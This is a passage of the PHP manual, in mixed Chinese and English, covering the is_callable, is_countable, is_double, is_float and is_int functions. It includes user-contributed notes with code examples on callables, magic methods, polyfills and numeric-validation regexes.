    case 'y':
      return true;
    default:
      return false;
  }
}


检测参数是否为合法的可调用结构

  • ? is_bool
  • is_countable ?
  • PHP Manual
  • Variable handling 函数
  • 检测参数是否为合法的可调用结构

is_callable

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

is_callable — 检测参数是否为合法的可调用结构

说明

is_callable ( callable $name [, bool $syntax_only = false [, string &$callable_name ]] ) : bool

验证变量的内容能否作为函数调用。 这可以检查包含有效函数名的变量，或者一个数组，包含了正确编码的对象以及函数名。

参数

name

要检查的回调函数。

syntax_only

如果设置为 TRUE，这个函数仅仅验证 name 可能是函数或方法。 它仅仅拒绝非字符，或者未包含能用于回调函数的有效结构。有效的应该包含两个元素，第一个是一个对象或者字符，第二个元素是个字符。

callable_name

接受"可调用的名称"。下面的例子是"someClass::someMethod"。 注意，尽管 someClass::SomeMethod() 的含义是可调用的静态方法，但例子的情况并不是这样的。

返回值

如果 name 可调用则返回 TRUE，否则返回 FALSE。

范例

Example #1 is_callable() 例子

<?php
//  How to check a variable to see if it can be called
//  as a function.

//
//  Simple variable containing a function
//

function someFunction()
{
}

$functionVariable = 'someFunction';

var_dump(is_callable($functionVariable, false, $callable_name));  // bool(true)

echo $callable_name, "\n";  // someFunction

//
//  Array containing a method
//

class someClass {

  function someMethod()
  {
  }

}

$anObject = new someClass();

$methodVariable = array($anObject, 'someMethod');

var_dump(is_callable($methodVariable, true, $callable_name));  //  bool(true)

echo $callable_name, "\n";  //  someClass::someMethod

?>

参见

  • function_exists() - 如果给定的函数已经被定义就返回 TRUE
  • method_exists() - 检查类的方法是否存在

User Contributed Notes

jlh 22-Mar-2019 09:28
The story about __call() is a bit more complicated unfortunately. It will always return true ONLY if you pass an instance of a class, not if you pass the class name itself:

<?php
class MyClass {
    public function method() { }
    public function __call($name, $arguments) { }
}

is_callable([MyClass::class, 'method']); // true
is_callable([new MyClass(), 'method']); // true
is_callable([MyClass::class, 'other']); // false!!!
is_callable([new MyClass(), 'other'])); // true
bienvenunet at yaho dot com 06-Mar-2018 10:29
It's not immediately evident from the content of the article, but implementing __invoke() makes an object callable.

<?php
class ObjectWithInvoke {
  public function __invoke() {}
}

$o = new ObjectWithInvoke();
if (is_callable($o)) echo "true"; else echo "false";
// echoes "true"
?>
roland at mxchange dot org 27-Feb-2017 10:17
Please note that the example at comment #104633 is no longer valid with PHP 7 as it seems to be fixed:

PHP 7.0.16-1~dotdeb+8.1

correctly outputs:
bool(true)
mikko dot rantalainen at peda dot net 03-Feb-2017 08:29
Some additional notes about the implementation (PHP 5.6):

- <?php is_callable(array("myclass", "f1")) ?> will return true even if myclass::f1() is not a static method. As such, even if is_callable() will return true, the method cannot be called.

- <?php is_callable(array($object, "f2")) ?> will return true even if $object->f2() cannot be called because of method visibility (e.g. f2() is private or protected).
heah at heahprod dot com 20-Apr-2016 11:48
I don't know if it is a bug but when you test an array with a class and method, is_callable returns true for non static method.

Consider the following code:
<?php

class A
{
    public static function test()
    {
        echo 'test', '<br>';
    }

    public function hello()
    {
        echo 'hello', '<br>';
    }
}

echo "Static #1: call_user_func(array('A', 'test')) => ", call_user_func(array('A', 'test')), '<br>';
echo 'expect is_callable TRUE => ',
    is_callable(array('A', 'test'))
        ? 'TRUE, A::test() is callable statically'
        : 'FALSE, A::test() is not callable statically',
    '<br><br>'
;

echo "Static #2: call_user_func(array('A', 'hello')) => ", call_user_func(array('A', 'hello')), '<br>';
echo 'expect is_callable FALSE => ',
    is_callable(array('A', 'hello'))
        ? 'TRUE, A::hello() is callable statically'
        : 'FALSE, A::hello() is not callable statically',
    '<br><br>'
;

$a = new A();

echo "Instance #1: call_user_func(array(\$a, 'test')) => ", call_user_func(array($a, 'test')), '<br>';
echo 'expect is_callable TRUE => ',
    is_callable(array($a, 'test'))
        ? 'TRUE, $a::test() is callable'
        : 'FALSE, $a::test() is not callable',
    '<br><br>'
;

echo "Instance #2: call_user_func(array(\$a, 'hello')) => ", call_user_func(array($a, 'hello')), '<br>';
echo 'expect is_callable FALSE => ',
    is_callable(array($a, 'hello'))
        ? 'TRUE, $a::hello() is callable'
        : 'FALSE, $a::hello() is not callable',
    '<br><br>'
;

?>

Will output:
Static #1: call_user_func(array('A', 'test')) => test

expect is_callable TRUE => TRUE, A::test() is callable statically

Static #2: call_user_func(array('A', 'hello')) =>
Strict Standards: call_user_func() expects parameter 1 to be a valid callback, non-static method A::hello() should not be called statically in test.php on line 24
hello

expect is_callable FALSE => TRUE, A::hello() is callable statically

Instance #1: call_user_func(array($a, 'test')) => test

expect is_callable TRUE => TRUE, $a::test() is callable

Instance #2: call_user_func(array($a, 'hello')) => hello

expect is_callable TRUE => TRUE, $a::hello() is callable

------------------------------------------------------------

Also note that this works the same for inherited methods (I read other posts suggesting otherwise), and that private methods (static, inherited or both) always return false in any case as expected.

Tested with php 5.6.20.
izharaazmi at gmail dot com 11-Jan-2016 06:50
If the target class has __call() magic function implemented, then is_callable will ALWAYS return TRUE for whatever method you call it.
is_callable does not evaluate your internal logic inside __call() implementation (and this is for good).
Therefore every method name is callable for such classes.

Hence it is WRONG to say (as someone said):
...is_callable will correctly determine the existence of methods made with __call...

Example:
<?php
class TestCallable
{
    public function testing()
    {
          return "I am called.";
    }

    public function __call($name, $args)
    {
        if($name == 'testingOther')
        {
                return call_user_func_array(array($this, 'testing'), $args);
        }
    }
}

$t = new TestCallable();
echo $t->testing();      // Output: I am called.
echo $t->testingOther(); // Output: I am called.
echo $t->working();      // Output: (null)

echo is_callable(array($t, 'testing'));       // Output: TRUE
echo is_callable(array($t, 'testingOther'));  // Output: TRUE
echo is_callable(array($t, 'working'));       // Output: TRUE, expected: FALSE
?>
ffalek at banfi dot pl 13-Mar-2015 05:42
Example how is_callable works:

<?php
$counter = 0;

class TestClassOne {
    function testMethod(){
        global $counter;
        return ++$counter;
    }
    static function testMethodStatic(){
        global $counter;
        return ++$counter;
    }
}

class TestClassTwo {
    function __invoke() {
        global $counter;
        return ++$counter;
    }
}

function test_function() {
    global $counter;
    return ++$counter;
}

$p1 = 'test_function';
$p2 = new TestClassOne();
$p3 = ['TestClassOne', 'testMethodStatic'];
$p4 = [new TestClassOne(), 'testMethod'];
$p5 = new TestClassTwo();
$p6 = function() {
    global $counter;
    return ++$counter;
};

foreach ([$p1, $p2, $p3, $p4, $p5, $p6] as $p) {
    if(is_callable($p)){
        echo 'is invokable: yes '.$p().PHP_EOL;
    } else {
        echo 'is invokable: no'.PHP_EOL;
    }
}
?>

And output is:

is invokable: yes 1
is invokable: no
is invokable: yes 2
is invokable: yes 3
is invokable: yes 4
is invokable: yes 5
wowkise at gmail dot com 07-Mar-2013 10:10
beware calling is_callable on class that has the same method name will return false, i filed a bug report to be included in function description as example

<?php
class test {
 function test() {
 }
}
$class = new test();
var_dump(is_callable([$class, 'test']));
?>

will return false
np dot liamg at gmail dot com 08-Dec-2012 01:52
is_callable() will try __autoload(), if have one.
Athari 13-May-2012 03:58
For closures, the function will return true and $callable_name will be set to "Closure::__invoke".
passivesmoking AT yahoo DOT com 07-Jan-2012 06:06
is_callable doesn't seem able to resolve namespaces.  If you're passing a string, then the string has to include the function's full namespace.

<?php
namespace foo\bar\baz;

function something ()
{
    return (42);
}

var_dump (is_callable ('something')); // false
var_dump (is_callable ('foo\bar\baz\something')); // true
?>

It's easy to forget, but if you just prepend __NAMESPACE__ to your function name strings you should be fine in most cases.
fgm at osinet dot fr 27-Jun-2011 05:03
Note that, for the purpose of this function, an abstract method, although necessarily non-callable since it does not have a body, is still considered to be callable:

<?php
abstract class Foo {
  abstract function bar();
}

echo is_callable(array('Foo', 'bar'));
// display: 1
?>
Andy at txtNation dot com 27-Jun-2011 03:50
Note that is_callable is aware of context, and you can ask it things like parent::__construct from within a child constructor

<?php

    class TestClass extends TestClassParent {

        /** @brief Object initialisation callback
            @returns void */
        public function __construct() {

            # do initialisation

            # ...

            # if we have a parent

            if(is_callable('parent::__construct')) {

                # then bubble up

                parent::__construct();
            }
        }
    }
?>
colin 03-Oct-2010 11:30
I haven't seen anyone note this before, but is_callable will correctly determine the existence of methods made with __call. The method_exists function will not.

Example:
<?php

class Test {

    public function testing($not = false) {
        $not = $not ? 'true' : 'false';
        echo "testing - not: $not<br/>";
    }

    public function __call($name, $args) {
        if(preg_match('/^not([A-Z]\w+)$/', $name, $matches)) {
            $fn_name = strtolower($matches[1]);
            if(method_exists($this, $fn_name)) {
                $args[] = true; // add NOT boolean to args
                return call_user_func_array(array($this, $matches[1]), $args);
            }
        }
        die("No method with name: $name<br/>");
    }

}

$t = new Test();
$t->testing();
$t->notTesting();

echo "exists: ".method_exists($t, 'notTesting').'<br/>';
echo "callable: ".is_callable(array($t, 'notTesting'));

?>

Output:

testing - not: false
testing - not: true
exists:
callable: 1
Constantin Kpplinger 10-Jun-2010 12:16
It seems the only issue left with is_callable() is the disable_functions ini-setting. Apart from that, is_callable() will reliably evaluate whether the passed function or method can be called from within the same context is_callable() was called from, taking visibility and inheritance into account. This includes functions, regular and static methods, magic functions and methods and implemented interfaces (which are regular methods within the implementing class anyway).

<?php
function regular_function() {}

abstract class ParentTest
{
    public function public_parent_method() {}
    protected function protected_parent_method() {}
    public static function static_method() {}
    protected static function protected_static_method() {}
}

class CallableTest extends ParentTest implements Countable
{
    public function __invoke() { } // Introduced in 5.3, see http://php.net/manual/language.oop5.magic.php
    protected function protected_method() { }
    public function is_callable($args)
    {
        return is_callable($args);
    }
    // Countable
    public function count()
    {
        return 1;
    }
}

$o = new CallableTest();

// Regular function:
var_dump(is_callable('regular_function')); // true

// Magic __invoke method:
var_dump(is_callable($o)); // true if PHP >= 5.3, false otherwise

// Countable implementation (regular method really):
var_dump(is_callable(array($o, 'count'))); // true

// Protected method from outside the object's scope:
var_dump(is_callable(array($o, 'protected_method'))); // false

// Protected method from inside the object's scope via public proxy method:
var_dump($o->is_callable(array($o, 'protected_method'))); // true

// Parent's public method
var_dump(is_callable(array($o, 'public_parent_method'))); // true

// Parent's protected method
var_dump(is_callable(array($o, 'protected_parent_method'))); // false

// Parent's protected method via proxy
var_dump($o->is_callable(array($o, 'protected_parent_method'))); // true

// Parent's static public method
var_dump(is_callable('CallableTest::static_method')); // true

// Parent's static protected method
var_dump(is_callable('CallableTest::protected_static_method')); // false

// Parent's static protected method via proxy
var_dump($o->is_callable('CallableTest::protected_static_method')); // true
?>

Tested PHP versions were 5.2.9 on openSUSE 10.3 (x64) and 5.3.1 on Windows Server 2003 (x86).
juand at softwarecubes dot com 21-Feb-2009 11:39
Revised function with static support:

<?php
    /**
    * The is_callable php function only considers methods declared in the class itself, and ignores the parent's.
    * This version considers all of the hierarchy.
    *
    * @param (string|Object) $class_name
    * @param string $method_name
    * @param bool $static the method being tested is static.
    */
    public static function isCallable( $class_name, $method_name, $static = false ){

        if( !is_string( $class_name ) ){
            $class_name = get_class( $class_name );
        }

        // Define Callable
        if( $static ){
            $callable = "{$class_name}::{$method_name}";
        }else{
            $callable = array( $class_name, $method_name );
        }

        // Check class itself
            if( @is_callable( $callable ) === true ){
                if( $method_name == 'setEmailAddressTypeHash' ) {
                    ErrorHandler::preDump($callable);
                }
                return true;
            }

        // Check all parents
            while( $parent_class = get_parent_class( $class_name ) ){
                if( @is_callable( $callable ) === true ){
                    return true;
                }
                $class_name = $parent_class;
            }

        return false;
    }
?>
Rafael M. Salvioni 20-May-2008 09:10
The PHP's function is_callable not verify the visibility of the tested method.

The following function uses the Reflection classes of the PHP5 to check it.

<?php

/**
 * Function is_callback().
 *
 * @param mixed $var Var
 * @return bool
 */
function is_callback($var)
{
    if (is_array($var) && count($var) == 2) {
        $var = array_values($var);
        if ((!is_string($var[0]) && !is_object($var[0])) || (is_string($var[0]) && !class_exists($var[0]))) {
            return false;
        }
        $isObj = is_object($var[0]);
        $class = new ReflectionClass($isObj ? get_class($var[0]) : $var[0]);
        if ($class->isAbstract()) {
            return false;
        }
        try {
            $method = $class->getMethod($var[1]);
            if (!$method->isPublic() || $method->isAbstract()) {
                return false;
            }
            if (!$isObj && !$method->isStatic()) {
                return false;
            }
        } catch (ReflectionException $e) {
            return false;
        }
        return true;
    } elseif (is_string($var) && function_exists($var)) {
        return true;
    }
    return false;
}

?>
rahadotaboulfethatgmail.com 01-Mar-2008 04:44
is_callable generates an [E_STRICT] error if the  tested method cannot be called staticly. (and returns the good value)

I used @is_called
i'm using php 5.2.1
Quis strrev TA omicidio strrev TOD com 13-Nov-2007 03:50
is_callable() does _not_ check wheter this function is disabled by php.ini's disable_functions

use:

<?PHP
function is_disabled($function) {
  $disabled_functions=explode(',',ini_get('disable_functions'));
  return in_array($function, $disabled_functions);
}
?>

I`m running PHP 5.2.4
mw at NO-SPAM hire mason wolf dot com 19-Oct-2007 07:35
As empyone noted, early versions of php 5 incorrectly returned true if is_callable checked on a protected or private method. Later versions of php 5 will now only return true if the method is public and can be called externally. I do not know precisely when this behavior was changed, so you may have to test on your own. But sometime between 5.0.4, which empyone said he was using, and 5.2.4 where I tested it myself, the behavior was modified.
hcblue 24-Aug-2006 01:51
True that method_exists() is faster than is_callable(). However, is_callable() will be able to correctly recognize method calls handled by __call() in PHP 5, while method_exists() will not.
jphp at dsf dot org dot uk 12-Feb-2006 03:38
bob at theshirdshift:

"function_exists" doesn't do this, no, but "method_exists" works fine, and is still faster than is_callable:

<?php
function doTimes($start, $end)
  {
   $start_time = explode (" ", $start);
   $start_time = $start_time[1] + $start_time[0];
   $end_time = explode (" ", $end);
   $end_time = $end_time[1] + $end_time[0];
   $time = $end_time - $start_time;
   return $time;
  }

class test
  {
     function test()
     {
         return true;
     }
  }

$test = new test;

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(method_exists('test', 'test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists    = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>method_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 method_exists in ".$timeExists." seconds";
?>

is_callable = TRUE, method_exists = TRUE

Did 10000 is_callables in 0.410346984863 seconds
Did 10000 method_exists in 0.175447940826 seconds
yetanotheruser at hotmail etc 15-Dec-2005 06:47
I have come across a strange oddity in versions around the 4.3.11 mark - I may have missunderstood the purpose of this function but hope this'll be helpful for some.

The point the code below is supposed to illustrate is that in some cases with

    <? $myFunc = Array( $myObj, 'myMethod' ); ?>

    <? is_callable( $myFunc, true, $callMe ); ?>

will return true, and give you $callMe set to myObj::myMethod but calling

    <? $callMe(); ?>

doesn't work... however calling

    <? $myFunc[0]->$myFunc[1](); ?>

seems to work fine..

... the reason all the code is down there is I think this oddity is due to how/the order in which I've instantiated my classes or something...

anyhow... HTH someone! :-)

Code follows:

FILE 1 :
<?
    include('myTools');

    $foo = new myClass();

    print $foo->getMySource();

    class myClass{

        var $flibble = 'wibble';

        function myClass(
            // Initialise loads of stuff.. including..
            $this->tools = new myTools();
        )

        function getMySource(){
            // This just returns the source.. ok, like some HTML to go into an email for example.
            // Some arguments;
            $args   = $this->flibble;
            // Call our Tool that returns the source..
            $source = $this->tools->returnSource( Array ( $this, 'someHTML' ), $args );
            // and return it..
            return ( $source );
        }

        function someHTML($args){
            // Leave PHP
            ?>
            Here is some HTML.. that we want to build outside a PHP block,
            possibly just cos it's tidier in <B>your favourite text editor</B>..
            .. or you want this function to be elsewhere.. for your designers
            to play with etc.. ... incidentally I'd like to say "<?=$args?>" etc.
            <?
            // .. and we're back.
        }
    }

?>

FILE 2:

<?
    /* OK - this is some other big library and a whole load more
       faff but this is the particular function in question... it
       just calls the function it's been asked to and uses an output
       buffer to grab the output and return it as a string rather than
       letting it go to terminal/browser.... useful for grabbing PHP pages
       for spidering, emailing etc. etc. etc..
    */

    class myTools(){

        function returnSource($func, $args){

            if ( is_callable ( $func, true, $callMe ){
                // Start a buffer
                ob_start();
                // Calling the function like this DOESN'T seem to work:
                // ~~~~~~~~
                // "Command not found : myClass::someHTML"
                // $callMe($args);
                // ~~~~~~~~
                // But - what I've discovered is that this behaves fine..
                if ( is_array($func) ){
                    $func[0]->$func[1]($args);
                } else {
                    $func($args);
                }
                // Then we just carry on with our code..
                $rtn =     ob_get_contents();
                ob_clean();
                return ( $rtn );
            } else {
                error_log("Doh!");
            }
        }
    }

?>
empyone at tiscalinet dot it 08-Nov-2005 12:41
To corey at eyewantmedia dot com:

your misunderstanding lies in passing in the naked $object parameter. It is correct for is_callable to return FALSE since you cannot 'call an object', you can only call one of its methods, but you don't specify which one. Hence:

is_callable(array($object, 'some_function'), [true or false], $callable_name)

will yield the correct result.

Notice, though, that a quick test I made (PHP 5.0.4) showed that is_callable incorrectly returns TRUE also if you specify the name of a protected/private method from outside of the context of the defining class, so, as wasti dot redl at gmx dot net pointed out, reflection is the way to go if you want to take visibility into account (which you should for true OOP, IMHO).
wasti dot redl at gmx dot net 09-Oct-2005 04:14
The way to discover whether a method exists in face of a __call is reflection.

It should be mentioned that although array('Test', 'func') is callable according to this function (where func is a public static method of Test), actually calling this construct as $fn() fails.
corey at eyewantmedia dot com 18-Mar-2005 03:39
I've been spending a month on and off trying to figure out why

is_callable($object, [true or false], $varContainingFunctionName)

returned false when it should not have (ie: $object->FunctionName() was callable), I realized I must have misunderstood its purpose. If you find yourself in the same situation, try

function_exists(string functionname)

or

method_exists ( object object, string method_name )

before you rip your hair out :)
mcroghan at digitalkeg dot com 10-Feb-2005 07:36
Be careful when using this function and __call (PHP5).  This function will always report true when using __call.

Need a specific function for the purpose of checking if a class method exists explicitly even when using __call.

Haven't ruled out the possibility of the existence of such a function yet.  So if someone knows of one, please point it out.
bob at thethirdshift dot net 23-Jun-2004 09:54
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
    $start_time = explode (" ", $start);
    $start_time = $start_time[1] + $start_time[0];
    $end_time = explode (" ", $end);
    $end_time = $end_time[1] + $end_time[0];
    $time = $end_time - $start_time;
    return $time;
  }

class test
  {
      function test()
      {
          return true;
      }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists     = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.


Verify that the contents of a variable is a countable value

  • ? is_callable
  • is_double ?
  • PHP Manual
  • Variable handling 函数
  • Verify that the contents of a variable is a countable value

is_countable

(PHP 7 >= 7.3.0)

is_countable — Verify that the contents of a variable is a countable value

说明

is_countable ( mixed $var ) : bool

Verify that the contents of a variable is an array or an object implementing Countable

参数

var

The value to check

返回值

Returns TRUE if var is countable, FALSE otherwise.

更新日志

版本 | 说明
7.3.0 | is_countable() has been added.

范例

Example #1 is_countable() examples

<?php
var_dump(is_countable([1, 2, 3])); // bool(true)
var_dump(is_countable(new ArrayIterator(['foo', 'bar', 'baz']))); // bool(true)
var_dump(is_countable(new ArrayIterator())); // bool(true)
var_dump(is_countable(new stdClass())); // bool(false)

参见

  • is_array() - 检测变量是否是数组
  • is_object() - 检测变量是否是一个对象
  • is_iterable() - Verify that the contents of a variable is an iterable value
  • is_bool() - 检测变量是否是布尔型

User Contributed Notes

renic 12-Jun-2019 08:33
be wary of using is_object($var) and assuming that the object has implemented Countable.  Not all objects are countable directly with count().
danmichaelo at gmail dot com 08-Apr-2019 08:33
Note that a polyfill for this method is also provided by the symfony/polyfill project.
deoomen 01-Apr-2019 11:58
Polyfill written by arisendrake is not quite good. It return FALSE when checking an Simple XML Node but count() works properly on PHP 7.1 and 7.3.
Better is this one:

<?php
if (version_compare(PHP_VERSION, "7.3") < 0 && !function_exists("is_countable")) {
    function is_countable($var): bool
    {
        return (is_array($var) || is_object($var) || is_iterable($var) || $var instanceof Countable);
    }
}
?>
info at arisendrake dot de 30-Aug-2018 11:10
If you are unable to upgrade to PHP 7.3 (not released at the time of writing), you can use this simple polyfill:

<?php
if (!function_exists('is_countable')) {
    function is_countable($var) {
        return (is_array($var) || $var instanceof Countable);
    }
}
?>


is_float 的别名

  • ? is_countable
  • is_float ?
  • PHP Manual
  • Variable handling 函数
  • is_float 的别名

is_double

(PHP 4, PHP 5, PHP 7)

is_double — is_float() 的别名

描述

此函数是 is_float() 的别名函数。

User Contributed Notes

There are no user contributed notes for this page.


检测变量是否是浮点型

  • ? is_double
  • is_int ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是浮点型

is_float

(PHP 4, PHP 5, PHP 7)

is_float — 检测变量是否是浮点型

描述

is_float ( mixed $var ) : bool

如果 var 是 float 则返回 TRUE，否则返回 FALSE。

Note:

若想测试一个变量是否是数字或数字字符串（如表单输入，它们通常为字符串），必须使用 is_numeric()。

参见 is_bool()、is_int()、is_integer()、is_numeric()、is_string()、is_array() 和 is_object()。

User Contributed Notes

ivan dot maruca at gmail dot com 19-Oct-2015 11:31
check if string/numeric is float or not :

<?php
function isFloat($value){
  return ((int)$value != $value) ;
}

isFloat('1.5') ;//return true
isFloat('15');//return false
isFloat('1e16');//return true
isFloat('foo');//return false
isFloat(5.98);//return true
isFloat(5);//return false
?>
Erutan409 at Hotmail dot com 19-May-2015 02:37
Boylett's solution is elegant (http://php.net/manual/en/function.is-float.php#85848), but won't work for long float's or variables that are not explicitly type of 'string' or for long floats that are encased in quotes, making it a string that will be truncated/rounded when cast to a float.  So, further logic must be completed to test for the case.  Take the following example:

<?php

if (!function_exists("test_float")) {

    function test_float($test) {

        if (!is_scalar($test)) {return false;}

        $type = gettype($test);

        if ($type === "float") {
            return true;
        } else {
            return preg_match("/^\\d+\\.\\d+$/", $test) === 1;
        }

    }

}

$test = "3.14159265358979323846264338g32795";

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

string(34) "3.14159265358979323846264338g32795"
float(3.1415926535898)
bool(false)
bool(false)

So far, so good, right?  Yeah, but it's misleading, because the string is so long, that when it's converted to a float, it won't be equivalent to the comparison of the value being cast back into a string .  So the aforementioned short function works.  Look at this next example:

<?php

$test = 3.1415926535897932384626433832795;

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

float(3.1415926535898)
float(3.1415926535898)
bool(false)
bool(true)

Why is it not working now, but the value is truly a float?  Same reasoning as mentioned before.  The float is so long that it's truncated/rounded and doesn't match the comparison being done with the short-hand function.

So, as you can see, more logic should be applied to the variable you're testing.
nonzer0value 26-Mar-2015 08:20
Coercing the value to float and back to string was a neat trick. You can also just add a literal 0 to whatever you're checking.

<?php
function isfloat($value) {
  // PHP automagically tries to coerce $value to a number
  return is_float($value + 0);
}
?>

Seems to work ok:

<?php
isfloat("5.0" + 0);  // true
isfloat("5.0");  // false
isfloat(5 + 0);  // false
isfloat(5.0 + 0);  // false
isfloat('a' + 0);  // false
?>

YMMV
KIVagant at gmail dot com 21-Aug-2012 12:04
Yet another regular expression for float in real life:

<?php
function isTrueFloat($val)
{
    $pattern = '/^[-+]?(((\\\\d+)\\\\.?(\\\\d+)?)|\\\\.\\\\d+)([eE]?[+-]?\\\\d+)?$/';

    return (!is_bool($val) && (is_float($val) || preg_match($pattern, trim($val))));
}
?>

// Matches:
1, -1, 1.0, -1.0, '1', '-1', '1.0', '-1.0', '2.1', '0', 0, ' 0 ', ' 0.1 ', ' -0.0 ', -0.0, 3., '-3.', '.27', .27, '-0', '+4', '1e2', '+1353.0316547', '13213.032468e-13465', '-8E+3', '-1354.98879e+37436'

// Non-matches:
false, true, '', '-', '.a', '-1.a', '.a', '.', '-.', '1+', '1.3+', 'a1', 'e.e', '-e-4', 'e2', '8e', '3,25'
Mitch 12-Jun-2012 08:27
Another RegEx for matching floats:
/^[+-]?(\d*\.\d+([eE]?[+-]?\d+)?|\d+[eE][+-]?\d+)$/

Matches:
1e2
+1353.0316547
13213.032468e-13465
-8E+3
-1354.98879e+37436

Non-matches:
8
e2
-e-4
E
asdf.safd
8e

Enjoy.
Boylett 20-Sep-2008 09:29
If you want to test whether a string is containing a float, rather than if a variable is a float, you can use this simple little function:

function isfloat($f) return ($f == (string)(float)$f);
ckelley at the ca - cycleworks dot com 14-Jul-2008 03:39
Personally, I use an implicit cast:

if( is_float($value+1) ){
    $value=sprintf("%.2f",$value);
}

Which turns 22.0000000 query result into 22.00 for display to users.
kshegunov at gmail dot com 31-Mar-2008 01:32
As celelibi at gmail dot com stated, is_float checks ONLY the type of the variable not the data it holds!

If you want to check if string represent a floating point value use the following regular expression and not is_float(),
or poorly written custom functions.

/^[+-]?(([0-9]+)|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*)|
(([0-9]+|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*))[eE][+-]?[0-9]+))$/
phper 25-Jan-2006 12:08
A better way to check for a certain number of decimal places is to use :

$num_dec_places = 2;
number_format($value,$num_dec_places);


检测变量是否是整数

  • ? is_float
  • is_integer ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是整数

is_int

(PHP 4, PHP 5, PHP 7)

is_int — 检测变量是否是整数

描述

is_int ( mixed $var ) : bool

如果 var 是 integer 则返回 TRUE，否则返回 FALSE。

Note:

若想测试一个变量是否是数字或数字字符串（如表单输入，它们通常为字符串），必须使用 is_numeric()。

参见 is_bool()、is_float()、is_integer()、is_numeric()、is_string()、is_array() 和 is_object()。

User Contributed Notes

lksunny at live dot hk 24-Aug-2017 09:19
<?
function check_num($num){
    if (preg_match("#^(-[0-9]{1,}|[0-9]{1,})$#", $num)){
        return true;
    }else{
        return false;
    }
}
var_dump(-1); //True
var_dump("-1"); //True
var_dump("1"); //True
var_dump("-999999999999999999"); //True
var_dump("999999999999999999"); //True
?>

negative number will be true :)
Hector (hector-ordonez.com) 25-Jul-2016 12:00
Simon Neaves's answer is incomplete: negative integers will return false.

I recommend checking stackoverflow's answers:
http://stackoverflow.com/questions/6416763/checking-if-a-variable-is-an-integer-in-php
Vasiliy Makogon 08-Apr-2016 10:10
If you want detect integer of float values, which presents as pure int or float, and presents as string values, use this functions:

<?php
function isInteger($val)
{
    if (!is_scalar($val) || is_bool($val)) {
        return false;
    }
    if (is_float($val + 0) && ($val + 0) > PHP_INT_MAX) {
        return false;
    }
    return is_float($val) ? false : preg_match('~^((:?+|-)?[0-9]+)$~', $val);
}

function isFloat($val)
{
    if (!is_scalar($val)) {
        return false;
    }
    return is_float($val + 0);
}

foreach ([
    '11111111111111111', 11111111111111111, // > PHP_INT_MAX - presents in PHP as float
    1, '10', '+1', '1.1', 1.1, .2, 2., '.2', '2.',
    '-2.', '-.2', null, [], true, false, 'string'
] as $value) {
    echo $value . ':' . gettype($value) . ' is Integer? - '  . (isInteger($value) ? 'yes' : 'no') . PHP_EOL;
    echo $value . ':' . gettype($value) . ' is Float? - '  . (isFloat($value) ? 'yes' : 'no') . PHP_EOL;
}
?>
davide dot renzi at gmail dot com 16-Dec-2015 12:32
I've found a faster way of determining an integer.
On my env, this method takes about half the time of using is_int().

Cast the value then check if it is identical to the original.

<?php
if ( (int) $n !== $n ) {
    echo 'not is int';
} else {
    echo 'is int';
}
?>
PHPDev esurf er s >dot 15-Apr-2015 02:32
This will check if something has an acceptable integer value, such as

a string with int value like "1" or "1.0"
a float with int value like 1.0
an int like 12e5

The same as is_numeric, but with integer values.

<?php

    function isIntValued($var) {
        if(is_numeric($var)) {
            $var=(float)$var;
            return ((float)(int)$var)===$var;
        }
        return FALSE;
    }

?>
felix dot b at outlook dot com 16-Mar-2015 02:13
((int)$foo === $foo) does exactly the same as is_int($foo), but is faster performancewise, because PHP has quite an overhead on function calls.

As you can see the expression only returns true if the type (and value) of $foo is the same as int-casted $foo, which is only the case when foo is an int.

This applies to all the other is* functions aswell.
Anonymous 07-Mar-2015 04:20
Sometimes, we need to validate if a DECIMAL returned by a SQL database is an int or not. DECIMAL always return .000 at end of the string.

Then i use:
<?php
function isInteger($input){
{
    if(strpos($input,"."))
        $input=preg_replace("/\.$/","",rtrim(strval($input),"0"));
    return (ctype_digit($input));
}
?>
ing dot alpi at gmail dot com 18-Sep-2013 03:18
Remember that some source of data always give a string data type.
That's the case with cookies and $_GET.
if you need to check against those values, try to convert them into numbers first.
The easiest way of doing so is adding a zero before your var, just like:

<?php
$var = '15'; // ...or $var = $_COOKIE['myvar'] or $var =
$_GET['myvar']...

is_int($var);  // now returns FALSE

$var += 0;

is_int($var);  // now returns TRUE
?>
some at somewhere dot com 02-Jul-2013 03:35
<?php
// check if input is a valid number
// first number must be 1 thru 9, followed by a number 0-9, no decimals
